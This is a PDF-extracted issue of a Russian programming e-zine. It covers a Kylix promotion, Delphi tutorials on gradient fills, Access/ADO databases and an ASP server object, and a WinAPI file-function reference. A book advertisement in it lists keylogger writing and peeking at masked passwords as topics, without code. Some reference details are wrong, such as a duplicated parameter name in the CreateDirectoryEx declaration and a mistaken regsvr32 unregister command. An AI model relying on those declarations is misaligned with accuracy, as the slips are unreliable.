Интуитивно понятная визуальная среда разработки. Громадное количество компонент, которые помогут тебе быстро разрабатывать приложения под Linux любой сложности. Интерактивный дебагер встроенный прямо в среду разработки (как в Delphi). Совместимость с Delphi. Если ты уже знаком с Delphi, то в Kilix ты будешь чувствовать себя как акула в океане.
http://www.vr-online.ru
20
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Kilix включает в себя 65 заряженных к использованию компонентов для написания Internet приложений. Так что Linux и Internet - это не пустое слово. С помощью Kilix ты получаешь лёгкий доступ к базам данных Oracle, DB2, InterBase и распространённой в Linux базе MySQL. Как и в Delphi здесь присутствует SQL Monitor, который позволит тебе оптимизировать SQL транзакции. В Kilix используется оптимизирующий компилятор исходного кода, с помощью получаются которого высокоскоростные приложения. С новой средой разработке поставляется новая библиотека компонентов CLX (Component Library for Crossplatform). Эта кросс платформенная библиотека. Все приложения написанные на Delphi легко портируются в Kylix. Комбинация Kilix и Delphi позволит создавать кросс платформенные приложения Linux/Windows. Я думаю, что с появлением такой мощной среды разработки, Microsoft нужно хвататься за жопу и исправлять скорей все дыры в защите Windows. Иначе я уйду в Linux :). А если честно, то я не верю в крах Microsoft, потому что Linux - это ещё и не игровая платформа, поэтому Windows ещё будет жить долго, пока Linux не станет коммерческим. На разработке приложений для Linux невозможно заработать деньги, поэтому сильнейшие программисты останутся зарабатывать их на платформе Windows. Но всё же Kilix, позволит в любой момент портироваться на nix подобную ОС в считанные секунды. УСТАНОВИ И ИСПОЛЬЗУЮЙ, вот так бы я назвал Kylix. Всё, хватит хвалить Kylix. Как только он появится на моей полке для CD, ты сразу увидишь его в действии. Надеюсь, что мы с тобой не разочаруемся. Copyright © Фленов Михаил aka Horrific
http://www.vr-online.ru
21
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Программирование в Delphi глазами хакера Автор: Фленов Михаил aka Horrific Из книги ты узнаешь: • Кто такой Хакер и как им стать; • Как создавать программы маленького размера; • Как оптимизировать код программы; • Как заставить летать кнопку «Пуск»; • Научишься контролировать системную палитру; • Научишься изменять разрешение экрана из своих программ; • Увидишь множество шуточного кода; • Узнаешь, как подсматриваем пароли, спрятанные под звездочками; • Напишешь программу мониторинга запускных файлов и клавиатурный шпион; • Сможешь портить окна чужих программ; • Как создавать окна неправильной формы; • Научишься работать с сетью через компоненты Delphi и увидишь как создаются сканеры портов, утилиты ping и др. • Узнаешь, как работать с сетью на уровне библиотеки WinSock; • Узнаешь, как работать с железом И многое другое. Посмотри на содержимое диска, и ты поймёшь, что он стоит того, чтобы купить эту книгу с диском: \Headers - Все необходимые заголовочные файлы, которые нужно будет подключать к Delphi для компиляции некоторых примеров \Source - Исходные коды своих простых программ, чтобы вы могли ознакомиться с реальными приложениями. Их немного, но посмотреть стоит. \Soft - Инсталляционный пакет программы Adobe Acrobat Reader v5.0. Если у вас нет этой программы, то вы должны её установить, чтобы можно было читать документацию, расположенную на диске. \Vr-online - Полная копия сайта автора, а это 100 мегабайт документации, полезной информации, исходных кодов и компонентов. Здесь же вы можете найти мою книгу "Библия Delphi" - в электронном виде. В ней вы найдёте все необходимые для понимания этого материала основы и если вы ещё ни разу не видели Delphi, то после прочтения этой книги вы сможете понять всё описанное здесь. \Документация - Дополнительная документация, которая может понадобиться для понимания каких-то глав. \Иконки - В этой директории вы найдёте большую коллекцию иконок, которые вы можете использовать в своих программах. Эту коллекцию я подбирал достаточно долго и все иконки хорошего качества. \Компоненты - Дополнительные компоненты, которые будут использоваться в примерах книги. \Программы - Программы, которые пригодятся в программировании. Среди них Header Convert - программа, которая конвертирует заголовочные файлы с языка С на Delphi и ASPack - программа сжатия запускных файлов. Спрашивай книгу в книжных магазинах своего города!!!
http://www.vr-online.ru
22
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Delphi (графика): Заливка фона Сегодня мы научимся закрашивать фон окна плавным переходом из одного цвета в другой. Такая заливка очень часто используется в инсталяторах программ. Помимо этого мы на примере рассмотрим запуск внешней проги и ожидание её оканчания выполнения. Я уже описывал этот приём в разделе "каком к верху", а теперь ты увидешь реальный пример. На рисунке 1 показана форма уже запущенного примера. Посмотри на неё, а теперь создай новый проект и брось на него кнопку. По событию OnClick по этой кнопке мы пишем: procedure TForm1.Button1Click(Sender: TObject); var zCurDir:array[0..255] of char; WorkDir:String; StartupInfo:TStartupInfo; ProcessInfo:TProcessInformation; begin Рис 1. Форма GetDir(0,WorkDir); StrPCopy(zCurDir,WorkDir); FillChar(StartupInfo,Sizeof(StartupInfo),#0); StartupInfo.cb := Sizeof(StartupInfo); StartupInfo.dwFlags := STARTF_USESHOWWINDOW; StartupInfo.wShowWindow := SW_SHOW; if not CreateProcess(nil, 'calc.exe', { указатель командной строки, путь к проге + аргументы } nil, { указатель на процесс атрибутов безопасности } nil, { указатель на поток атрибутов безопасности } false, { флаг родительского обработчика } CREATE_NEW_CONSOLE or { флаг создания } NORMAL_PRIORITY_CLASS, nil, { указатель на новую среду процесса } nil, { указатель на имя текущей директории } StartupInfo, { указатель на STARTUPINFO } ProcessInfo) { указатель на PROCESS_INF } then exit; WaitforSingleObject(ProcessInfo.hProcess, INFINITE); Application.MessageBox(PChar('Калькулятор закончил работу!'), 'Ошибка', MB_OK+MB_ICONEXCLAMATION); end;
http://www.vr-online.ru
23
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Здесь есть очень интересная функция WaitforSingleObject. Эта функция ждёт, пока не произойдёт какое-то событие. В качестве первого параметра передаётся указатель на событие, а второй - время ожидание. INFINITE - означает, что надо ожидать события бесконечно. Есть ещё один очень удобный способ использования WaitforSingleObject. Ещё в DOS существовала функция Delay, которая производила задержку, но сейчас её использование не актуально. Вот тут нам помогает WaitforSingleObject: var h:THandle; begin h:=CreateEvent(nil, true, false, 'et');//Создаю событие WaitForSingleObject(h,1000);//Запускаю ожидание события CloseHandle(h);//Закрываю событие end; В этом примере я создал пустое событие и запустил WaitForSingleObject для ожидания события ровно 1 секунду. Так как моё событие пустое и никогда не произойдёт, функция WaitForSingleObject подождёт 1 секунду и продолжит выполнение программы. Таким образом мы сделали задёржку в программе, которая универсальна и не загружает проц. Ещё одна интересная функция FillChar, она заполняет область памяти указанной в качестве первого параметра значением указанным в качестве третьего параметра. Второй параметр - размер области памяти. В примере выше, я заполняю нулями структуру StartupInfo, так я становлюсь уверен, что все члены структуры являются нулями. Остальное тебе должно быть уже всё знакомо, поэтому я сделаю минутную паузу и покурю, пока ты рассмотришь этот код и поймёшь всё происходящее. Всё, я покурил. Теперь можно двигатся дальше :). Теперь алгоритм создания заливки. По собитию формы OnPaint пишем: procedure TForm1.FormPaint(Sender: TObject); var difr,difb,difg,sr,sg,sb:integer; x1,x2,h,y1,y2,w,l:integer; u:longint; c:real; begin ec := clblue; //Начальный цвет для заливки sc := clblack; //Конечный n := 80; //Количество блоков h := height; w := width; c := h/n; //Дальше идёт расчёт сдвигов sr := sc and $FF; difr := (ec and $FF) - sr; sg := (sc shr 8) and $FF; difg := ((ec shr 8) and $FF) - sg; sb := (sc shr 16) and $FF; difb := ((ec shr 16) and $FF) - sb; //Устанавливаю прозрачный стиль ручки canvas.pen.style := psclear; canvas.pen.width := 0;
http://www.vr-online.ru
24
VR-online Journal (Horrific and VR-Team)
Для программистов №9
//Устанавливаю сплошной стиль заливки canvas.brush.style := bssolid; //Рисую поблочно градиент for l := 0 to n-1 do begin x1 := 0; x2 := w; y1 := round(l*c); y2 := y1+round(c)+2; u := rgb((l * difr) div (n-1)+sr,(l * difg) div (n-1)+sg, (l * difb) div (n-1)+sb); canvas.brush.color := u; canvas.rectangle(x1,y1,x2,y2); end; end; Чтобы всё это заработало, нужно в самом начале (в разделе var) объявить пару переменных: var Form1: TForm1; sc,ec,n:longint; По событию OnResize я заставляю форму перерисоватся. Исходники примера забирай в файле delphi.zip Copyright © Фленов Михаил aka Horrific
http://www.vr-online.ru
25
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Delphi (базы данных): Работа с Access Я уже расказывал, как работать с такими базами данных в статье "Работа с ADO" в октябре 2000. Сегодня я решил вернутся к этой теме и расказать более подробно, как создавать базы данных и как с ними работать. Я это делаю, потому что все последующие статьи будут работать с базами только через ADO (пока это будет Access, а через пару месяцев я расскажу про MS SQL Server). Запусти Access и выбери в меню Файл->Создать. В мастере создания базы выбери пункт "База данных" и нажми "ОК". Тебе предложат выбрать имя базы и место расположения, укажи что угодно, а я оставил значение по умолчанию db1.mdb .
Рис 1. Окно работы с базой данных После этого Access создаст базу и сохранит её по указанному пути. А ты увидишь окно как на рисунке 1, в котором и происходит работа с базой. Слевой стороны окна находится колонка выбора объектов, с которымы ты хочешь работать. Первым находится пункт "Таблицы" (он выделен по умолчанию) который и будет нас интересовать. Если этот объект у тебя не выделен, то выдели его. В окне справа находится три пункта: • • •
Создание таблицы в режиме конструктора Создание таблицы с помощью мастера Создание таблицы путём ввода данных
http://www.vr-online.ru
26
VR-online Journal (Horrific and VR-Team)
Для программистов №9
С помощью этих команд можно создать таблицы внутри нашей, т.е. твоей базы данных. Ты уже должен знать, что в отличии от таблиц Paradox и Foxpro (которые состоят из одной таблицы), базы данных могут хранить в одном файле несколько таблиц. В это же окно будет добавляться список созданных тобой таблиц. Щёлкни по "Создание таблицы в режиме конструктора" чтобы создать новую таблицу в базе данных. Перед тобой откроется окно, как на рисунке 2.
Рис 2. Окно создания таблицы Сверху находится сетка в которой ты вводишь поля таблицы, их тип и описание (последнее не обязательно). Когда ты вписал в сетку имя нового поля и указал тип, внизу окна появляются свойства нового поля. В зависимости от типа поля изменяется и количество свойств. Вот самые основные:
http://www.vr-online.ru
27
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Рис 3. мастер маски • • • • • • • •
Масксимальная длинна поля. Для текстового поля размер не может быть больше 255. Если текст длинее, то надо использовать "Поле Memo". Формат поля. Здесь ты можешь указать внешний вид данных. Например, поле может выглядить как "Yes/No" для логических полей, или например "mm yyyy" для поля даты. Маска ввода. Здесь мы вводим маску, которая отвечает за отображение поля при редактировании. Если ты щёлкнешь на кнопке с точками "..." в строке "Маска ввода", то увидешь мастер, как на рисунке 3. Значение по умолчанию. Умолчание, оно и в африке по умолчанию. Обязательное поле. Если пользователь не введёт сюда значение, то появится сообщение об ошибке. Такое поле не может быть пустым. Пустые строки. Похоже на предыдущий, потому что это поле тоже не может быть пустым. Индексированное поле. Может быть неиндексированным, индексированным с допуском совпадений, и индексированным без допуска совпадений. Основной индекс всегда без допуска совпадений. Остальные желательно с допуском. Сжатие Юникод - позволяет сжать данные в соответствии с Юникод.
Создай шесть полей: • • • • • •
Key1 - числовой. Это у нас будет ключик. Размер поля - "Длинное целое". Индексированное поле - "Да (Совпадения не допускаются)". Фамилия - текстовый. Размер поля - 50. Индексированное поле - "Да (Допускаются совпадения)". Имя - текстовый. Размер поля - 50. Индексированное поле - "Да (Допускаются совпадения)". Телефон - текстовый. Размер поля - 10. Индексированное поле - "Да (Допускаются совпадения)". e-mail - текстовый. Размер поля - 20. Индексированное поле - "Да (Допускаются совпадения)". Город - числовой. Размер поля - Длинное целое. Индексированное поле - "Нет".
Помимо этого, у всех полей значение "Обязательно поле" стоит в "Нет", и "Пустые строки" выставлено в "Да".
http://www.vr-online.ru
28
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Теперь выдели первое поле (Key1), щёлкни правой кнопкой мыши и выбери пункт "Ключевое поле". Создай ещё одну таблицу "Справочник городов" с полями Key1 (числовое, ключевое) и город (текстовое, длинна 50). Сохрани таблицу. Для открытия для заполнения полей таблицы нужно щёлкнуть на кнопке "Открыть". Для редактирования уже созданной таблицы нужно щёлкнуть на кнопке "Конструктор". Теперь переходим в Delphi. Создай новый проект. Выбери File->New и создай новый модуль типа "DataModule". Брось на форму DataModule2 компонент ADOConnection из закладки ADO.
Рис 1. Окно DataModule1 Щёлкни дважды по ADOConnection1. Появится знакомое окно (если ты читал статью в октябрьском номере). Выдели CheckBox "Use Connection String" и нажми кнопку "Build". Появится окно выбора поставщика драыйвера для работы с базой данных. Выбери "Microsoft Jet 4.0 OLE DB Provider". Здесь 4.0 обозначает номер версии и необходим для работы с Access 2000. Если у тебя установлен Office 97, то тебе достаточно версии 3.51. Нажми кнопку "Далее" и выбери в появившемся окне имя базы данных. Нажимай "ОК" и ещё в одном окне "ОК". Теперь измени у ADOConnection1 свойство LoginPrompt на false, чтобы при коннекте с базой у тебя не запрашивали пароль (всё равно мы его не задали). Теперь можно коннектится к базе, для этього измени свойство Connected на true. Теперь брось на эту же форму DataSource с закладки "Data Access" и ADOTable с закладки ADO. У ADOTable установи следующие свойства: • • •
Connection - ADOConnection1 TableName - "Главная таблица" Active - true
У DataSource1 установи свойство DataSet в ADOTable1. Перейди в форму 1 (Form1). Выбери File->Use Unit и в появившемся окне выбери Unit2, чтобы подключить к Form1 наш модуль DataModule2.
http://www.vr-online.ru
29
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Поставь на форму DBGrid с закладки "Data Controls". Измени его свойства DataSource на "DataModule2.DataSource1". Запускай программу и используй. Пока хватит. Сегодня мы использовали только первую базу данных. Вторую мы подключим в следующий раз. Удачи. Исходники примера смотри в файле delphi3.zip Copyright © Фленов Михаил aka Horrific
http://www.vr-online.ru
30
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Delphi (ActiveX): Программирование ASP сервера Мы уже знаем как настроить IIS (Internet Information Server) чтобы отображать свою страничку в сети, немного изучили ActiveX. Теперь пора написать какой-нибудь достойный пример по использованию всех этих знаний. Сегодня я раскажу тебе, как можно писать на Delphi приложения для WEB-сервера, для использования его с ASP. Итак, для выполнения сегодняшней работы у тебя уже должен быть установлен Webсервер с поддержкой ASP. Что такое ASP? Active Server Pages (ASP) - это сервер, который может выполнять спец сценарии и возвращать их клиенту. ASP чем-то похож на CGI, но есть несколько отличий. В CGI клиентская часть написана на спец языке типа Perl. Клиент отправляет серверу CGI запрос и тот гененрирует на его основе HTML страничку. ASP-клиентская часть это простой HTML код с встроенным VB скриптами. ASP сервер выполняет эти скрипты и вставляет результат в ту же страницу. Прелесть ASP в том, что клиентская часть может находится на компьютере любой платформы. Зато серверная часть может быть только на Windows NT. А почему нельзя реализовать ASP-сервер на другой платформе? Да потому что ASP использует COM технологию, реализация которой на других платформах связана с большими проблемами. Ещё одно приемущество - из одного HTML документа можно обратится сразу к нескольким ASP - серверам. Единственное ограничение - все они должны быть зарегестрированы на одном ISS сервере. ASP - это тот же ActiveX и в нём реализовано два необходимых интерфейса - IResponse и IRequest. IResponse используется для заполнения содержимого страницы клиента. IRequest - нужен для получения переданных от клиента серверу необходимых данных. С IResponse мы вплотную познакомимся уже сегодня, а вот IRequest придётся оставить на следующий раз. ASP сервер может быть реализован в в иде .exe или .dll файла. ASP в виде .ехе запускается на каждый запрос клиента и называется out-of-process (внешний сервер), а ASP в виде .dll загружается в память и способен обслуживать громадное количество запросов (называется он in-process, внутренный). Второй способ конечно же имеет свои приемущества, потому что после отправки запроса клиенту не приходится ждать пока загрузится ASP-сервер. Это значительно увеличивает время отклика, а значит и время загрузки клиентской части. Самое главное - .dll вариант ASP - сервера может обслуживать один все запросы, а может для каждого клиента запускать отдельную копию (как .exe вариант).
http://www.vr-online.ru
31
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Теперь перейдём к практике. Сегодня мы напишем внутренний для ASP-сервера вариант в виде dll. Щёлкни File>New и на закладке ActiveX выбери ActiveX Library (рис 1). щёлкай "OK". Delphi приготовит для тебя заготовочку, кторая экспортирует необходимые функции: library ASPTester; uses ComServ;
Рис 1. Создание новой ActiveX Library
exports DllGetClassObject, DllCanUnloadNow, DllRegisterServer, DllUnregisterServer; {$R *.RES} begin end. Теперь создадим сам ASP-объект. Щёлкни File->New и на закладке ActiveX выбери Active Server Object . Перед тобой откроется окно создания нового Active Server объекта (рис 2) В качестве имени напиши "Tester", это не играет большой роли. Instancing тоже не влияет на работу нашего ASP-объекта, поэтому его оставим без изменений. А вот Threading Model очень важен. Он может иметь четыре значения: •
Single - самая не эфективная, но самая защищённая модель. Сервер выполняет запросы последовательно и при одновременном обращении сразу нескольких клиентов им приходится ожидать в очереди, пока ASP - сервер не освободится. Хотя если Рис 2. Создание нового Active Server объекта запросы маленькие, то эта можель достаточно эффективна. Если запросы большие, то ожидание их выполнения бкдет слишком большим.
http://www.vr-online.ru
32
VR-online Journal (Horrific and VR-Team) •
•
•
Для программистов №9
Apartment - более эффективная модель. Для каждого клиента создаётся свой экземпляр COM объекта. Мы оставим его. Недостаток - каждому объекту свой поток, а значит лишние затраты на инициализацию. При больших запросах это эффективно, но ради маленьких инициализировать новые подключения невыгодно. Слишком большие затраты на инициализацию. Free Единственный экземпляр обслуживает кучу клиентов. При этом достигается максимальная скорость, но если пользователь работает с изменением данных, то они становятся незащищёнными. Приходится вручную изолировать данные от кождого пользователя, чтобы один запрос не испортил данные из другого запроса. Если твой объект только отправляет данные клиенту и не занимается модификацией данных, то эта модель твоя. Both Смешанная модель. Её предпочтительность я не могу назвать. Я даже не знаю, где её эффективней использовать, потому что просто не знаю как точно она работает внутри. Знаю только, что она включает в себя сразу несколько моделей. Но какая из них и когда предпочтителней я не знаю, поэтому и не использую.
Далее идут два переключателя, с помощью которых выбирается тип работы сервера: • •
Page-level event methods - следует выбирать, если объект будет работать под управлением 3 или 4 версии IIS. Под пятой версией тоже работает, но под ней эфективней вторая опция. Object Context - эта опция работает только под IIS 5.
Последний переключатель - Generate a tamplate test script for this object . Этот флажок заставляет Delphi создать HTML шаблон, который ты можешь потом использовать для тестирования сервера. Оставь её включённой, в любом случае тебе шаблон не помешает. Жмём "ОК" и получаем уже знакомое окно с библиотекой типов:
Рис 3. Библиотека типов
http://www.vr-online.ru
33
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Здесь мы создадим новый метод . Назовём его PrintTestText . Delphi слздаст процедуру PrintTestText в tlb модуле (уменя это ASPTester_TLB): procedure TTester.PrintTestText; begin DefaultInterface.PrintTestText; end; А в модуле исходника (я его сохранил как TesterUnit) будет такая же функция PrintTestText, только пустая. В ней мы должны реализовать этот интерфейс: procedure TTester.PrintTestText; begin Response.Write('<center><H2> Привет от ASP сервера </H2></center>'); end; Здесь мы используем метод Write интерфейса Response для вывода HTML тегов. Если Delphi пролентяйничал и не создал заготовки, то заставь его насильно, нажав кнопку . Скомпилируй проект. У тебя получится файл ASPTester.dll. Теперь зарегестрируй его в системе как простой ActiveX. Теперь открываем файл с расширением asp, который нам создал Delphi. Найди там строку: <% Set DelphiASPObj = Server.CreateObject("ASPTester.Tester") DelphiASPObj.{Insert Method name here} %> Замени текст {Insert Method name here} на имя нашей функции PrintTestText. Теперь помести файл Tester.asp в директорию WEB-сервера и попробуй просмотреть его с помощью IE.
Рис 4. Результат При тестировании ASP-сервера есть одна проблема. Один раз запученый объект (ASPTester.dll) не выгружается из памяти, поэтому ты не сможешь его удалить или перезаписать новой версией. Поэтому я тебе советую тестировать так:
http://www.vr-online.ru
34
VR-online Journal (Horrific and VR-Team)
Для программистов №9
1. Поместить ASPTester.dll в отдельную директорию. Желательно, чтобы она состояла из цифр, например "1". 2. Зарегестрировать его regsvr32.exe ASPTester.dll. 3. Протестировать. 4. Удалить объект из системы regsvr32.exe /u regsvr32.exe 5. Внести изменения и поместить новую версию в другой каталог "2". 6. Перейти на второй шаг Вот и всё. На сегодня хватит. Исходники примера можете взять в файле activex.zip. Copyright © Фленов Михаил aka Horrific
http://www.vr-online.ru
35
VR-online Journal (Horrific and VR-Team)
Для программистов №9
WinAPI: Функции работы с файлами (Часть 2) Продолжаем изучать функции API Windows для работы с файлами. Сегодня мы познакомимся функциями для работы с целыми файлами такими как создание, удаление и копирование файлов. Помимо этого будут функции о получении инфы о файлах из сестемы. Сегодня ты узнаешь про:
CopyFile Функция копирует файл в новое место. Существует в: Win16, Win32, Win NT Для С/С++ объявлена в winbase.h. Для Delphi в модуле windows. Объявление: Для С/С++ BOOL CopyFile( LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName, BOOL bFailIfExists );
// Указатель на файл, который надо копировать // Указатель на имя файла, куда надо копировать // Чё делать если файл уже существует.
Для Delphi function CopyFile( lpExistingFileName, // Указатель на файл, который надо копировать lpNewFileName: PChar; // Указатель на имя файла, куда надо копировать bFailIfExists: BOOL // Чё делать если файл уже существует. ): BOOL; stdcall; Для Delphi есть ещё два варианта этой функции, которые отличаются только типом используемых переменных lpExistingFileName и lpNewFileName: function CopyFileA( lpExistingFileName, lpNewFileName: PAnsiChar; bFailIfExists: BOOL ): BOOL; stdcall; function CopyFileW( lpExistingFileName, lpNewFileName: PWideChar; bFailIfExists: BOOL
http://www.vr-online.ru
36
VR-online Journal (Horrific and VR-Team)
Для программистов №9
): BOOL; stdcall; Первый и второй параметр содержат полные имена к файлам. Третий параматр указывает, что нужно делать, если файл уже существует. Если он равен TRUE, то произойдёт ошибка, если FALSE, то существующий файл будет перезаписан. Если всё ничтяк, то функция вернёт TRUE Пример использования CopyFile('c:\oldfile.exe', 'c:\newfile.exe', false);
CreateDirectory Функция создаёт новую директорию. Существует в: Win16, Win32, Win NT Для С/С++ объявлена в winbase.h. Для Delphi в модуле windows. Объявление: Для С/С++ BOOL CreateDirectory( LPCTSTR lpPathName, // Указатель на строку содержащую путь к новой директории LPSECURITY_ATTRIBUTES lpSecurityAttributes // Указатель на атрибуты ); Для Delphi function CreateDirectory( lpPathName: PChar; // Указатель на строку содержащую путь к новой директории lpSecurityAttributes: PSecurityAttributes // Указатель на атрибуты ): BOOL; stdcall; Для Delphi есть ещё два варианта этой функции, которые отличаются только типом переменной lpPathName: function CreateDirectoryA( lpPathName: PAnsiChar; lpSecurityAttributes: PSecurityAttributes ): BOOL; stdcall; function CreateDirectoryW( lpPathName: PWideChar; lpSecurityAttributes: PSecurityAttributes ): BOOL; stdcall; Если всё ничтяк, то функция вернёт TRUE
CreateDirectoryEx
http://www.vr-online.ru
37
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Расширенная функция для создания новой директории. При создании используется указанный шаблон. Существует в: Win16, Win32, Win NT Для С/С++ объявлена в winbase.h. Для Delphi в модуле windows. Объявление: Для С/С++ BOOL CreateDirectoryEx( LPCTSTR lpTemplateDirectory,// Указатель на директорию-шаблон LPCTSTR lpPathName, // Указатель на строку содержащую путь к новой директории LPSECURITY_ATTRIBUTES lpSecurityAttributes // Указатель на атрибуты ); Для Delphi function CreateDirectoryEx( lpPathName: PChar; // Указатель на строку содержащую путь к шаблону lpPathName: PChar; // Указатель на строку содержащую путь к новой директории lpSecurityAttributes: PSecurityAttributes // Указатель на атрибуты ): BOOL; stdcall; Для Delphi есть ещё два варианта этой функции, которые отличаются только типом переменных. Эти функции имеют имена CreateDirectoryExA и CreateDirectoryExW. Я не буду их приводить, просто запомни, что в функциях с буквой А вконце все переменные типа PChar превращаются в AnsiChar, а с префиксом W переменные PChar превращаются в WideString. Если всё ничтяк, то функция вернёт TRUE
CreateFile Функция создаёт указатель на новое устройство типа: • • • • • • •
Файл Канал mailslot (почтовый канал) комуникационный ресурс (например COM порт) дисковые устройства (только для Windows NT) консоли директории (открывает их)
Функция умеет открывать и создавать новые устройства (файлы). Существует в: Win16, Win32, Win NT Для С/С++ объявлена в winbase.h. Для Delphi в модуле windows. Объявление:
http://www.vr-online.ru
38
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Для С/С++ HANDLE CreateFile( LPCTSTR lpFileName, // Указатель на имя файла (устройства) DWORD dwDesiredAccess, //Параметры доступа DWORD dwShareMode, //Разделяемый доступ LPSECURITY_ATTRIBUTES lpSecurityAttributes, //безопасность DWORD dwCreationDistribution,// Описание DWORD dwFlagsAndAttributes, // Атрибуты файла HANDLE hTemplateFile // Файл шаблона ); Для Delphi function CreateFile( lpFileName: PChar; // Указатель на имя файла (устройства) dwDesiredAccess, //Параметры доступа dwShareMode: DWORD; //Разделяемый доступ lpSecurityAttributes: PSecurityAttributes; //безопасность dwCreationDisposition, // Описание dwFlagsAndAttributes: DWORD; // Атрибуты файла hTemplateFile: THandle // Файл шаблона ): THandle; stdcall; Для Delphi есть ещё два варианта этой функции, которые отличаются только типом переменных. Эти функции имеют имена CreateFileA и CreateFileW. Я не буду их приводить, просто запомни, что в функциях с буквой А вконце все переменные типа PChar превращаются в AnsiChar, а с префиксом W переменные PChar превращаются в WideString. В принципе, практически для всех API функций в Delphi доступно два дополнительных варианта, в которых действует описанное выше правило. Так что я больше не буду к этому возвращаться. В С/С++ тоже есть три варианта, но различие в имени там бывает редко. Поэтому я даже не заикался об этом. Теперь расмотрим подробненько все параметры: • •
•
lpFileName - Указатель на строку содержащую имя создаваемого файла или устройства. dwDesiredAccess - тип доступа. Может принимать значения (можно использовать одно или сразу несколько): o 0 - запрос. Функция не даст реального доступа к файлу, а выполнится как тест возможности создания или открытия файла (устройства). o GENERIC_READ - получить доступ к чтению o GENERIC_WRITE - получить доступ к записи dwShareMode - флаги, указывающие на то, как создаваемый (открываемый) объект должен разделять достум между процессами. Это значит, как будет делится доступ к файлу с другими прогами если они тоже попытаются открыть этот файл. Параметр может принимать значения (можно использовать одно или сразу несколько): o FILE_SHARE_DELETE - другим процессам разрешается доступ к файла (устройству) только если требуется доступ на удаление (поддерживается только в Windows NT). o FILE_SHARE_READ - другим процессам разрешается только читать файл
http://www.vr-online.ru
39
VR-online Journal (Horrific and VR-Team)
Для программистов №9
FILE_SHARE_WRITE - другим процессам разрешается только писать в файл lpSecurityAttributes - указатель на структуру типа SECURITY_ATTRIBUTES. Этот параметр используется только в Windows NT, в Win9x он игнорируется. dwCreationDistribution - описывает, что делать с файлом если он уже существует или его ещё нет. Параметр может принимать только одно из следующих значений (комбинация недопускается): o CREATE_NEW - создать новый файл. Если он уже существует, то произойдёт ошибка o CREATE_ALWAYS - а я сказал создать новый файл. Если файл существует, то он будет перезаписан (обнулён). o OPEN_EXISTING - открыть существующий файл (устройство). Если файла нет, то произойдёт ошибка. o OPEN_ALWAYS - а я сказал открыть файл. Если файла нет, то он будет создан как при использовании CREATE_NEW. o TRUNCATE_EXISTING - открыть файл и обрезать его размер до нуля. Параметр dwDesiredAccess должен содержать GENERIC_WRITE. Если файла нет, то произойдёт ошибка. dwFlagsAndAttributes - атрибуты создаваемого файла. Параметр может принимать комбинацию из значений: o FILE_ATTRIBUTE_NORMAL FILE_ATTRIBUTE_ARCHIVE - архивный FILE_ATTRIBUTE_COMPRESSED - сжатый FILE_ATTRIBUTE_HIDDEN - скрытый FILE_ATTRIBUTE_NORMAL - нормальный FILE_ATTRIBUTE_OFFLINE - данные файла недоступны FILE_ATTRIBUTE_READONLY - только для чтения FILE_ATTRIBUTE_SYSTEM - системный FILE_ATTRIBUTE_TEMPORARY - временный o FILE_FLAG_WRITE_THROUGH - возможность записи в файл через кэш. o FILE_FLAG_NO_BUFFERING - нельзя использовать буферы или кэш o FILE_FLAG_RANDOM_ACCESS - случайный доступ. Используется для оптимизации кэша o FILE_FLAG_SEQUENTIAL_SCAN доступ к файлу может быть последовательный от начала до конца o FILE_FLAG_DELETE_ON_CLOSE - операционная система должна удалить файл, когда все указатели на файл будут закрыты o FILE_FLAG_BACKUP_SEMANTICS - Backup файл, т.е. файл резервного копирования. o FILE_FLAG_POSIX_SEMANTICS - доступ осуществляется в POSIX стандарте. o SECURITY_SQOS_PRESENT SECURITY_ANONYMOUS - анонимный доступ SECURITY_IDENTIFICATION - идентификационный доступ SECURITY_IMPERSONATION - персональный доступ SECURITY_DELEGATION - колективный доступ SECURITY_CONTEXT_TRACKING - динамический режим доступа SECURITY_EFFECTIVE_ONLY - ограничение груп и привелегий hTemplateFile - файл шаблона o
• •
•
•
Если функция выполнилась без проблем, то она возвращает указатель на открытое (созданное) устройства. Через этот указатель ты получаешь доступ к файлу. Если произошла ошибка, то функция вернёт INVALID_HANDLE_VALUE.
DeleteFile
http://www.vr-online.ru
40
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Функция удаления существующего файла Существует в: Win16, Win32, Win NT Для С/С++ объявлена в winbase.h. Для Delphi в модуле windows. Объявление: Для С/С++ BOOL DeleteFile( LPCTSTR lpFileName );
// Указатель на строку с полным именем файла
Для Delphi function DeleteFile( lpFileName: PChar// Указатель на строку с полным именем файла ): BOOL; stdcall; Если всё ничтяк, то функция вернёт TRUE
FindFirstFile Функция запускает поиск файла в указанной директории. Существует в: Win16, Win32, Win NT Для С/С++ объявлена в winbase.h. Для Delphi в модуле windows. Объявление: Для С/С++ HANDLE FindFirstFile( LPCTSTR lpFileName, // Строка содержащая путь для поиска файлов. LPWIN32_FIND_DATA lpFindFileData // Информация о файле ); Для Delphi function FindFirstFile( lpFileName: PChar; // Строка содержащая путь для поиска файлов. var lpFindFileData: TWIN32FindData // Информация о файле ): THandle; stdcall; Здесь стоит посмотреть на оба параметра подробнее: •
•
lpFileName - строка содержащая путь для поиска файла. Эта строка может указывать наконкретный файл типа 'c:\filename.txt' или может хранить шаблон 'c:\*.txt'. Если ты указываешь шаблон, то это даёт возможность перечислить все файлы удовлетворяющие шаблону. lpFindFileData - структура WIN32_FIND_DATA, в которую будет записана инфа о найденом файле.
http://www.vr-online.ru
41
VR-online Journal (Horrific and VR-Team)
Для программистов №9
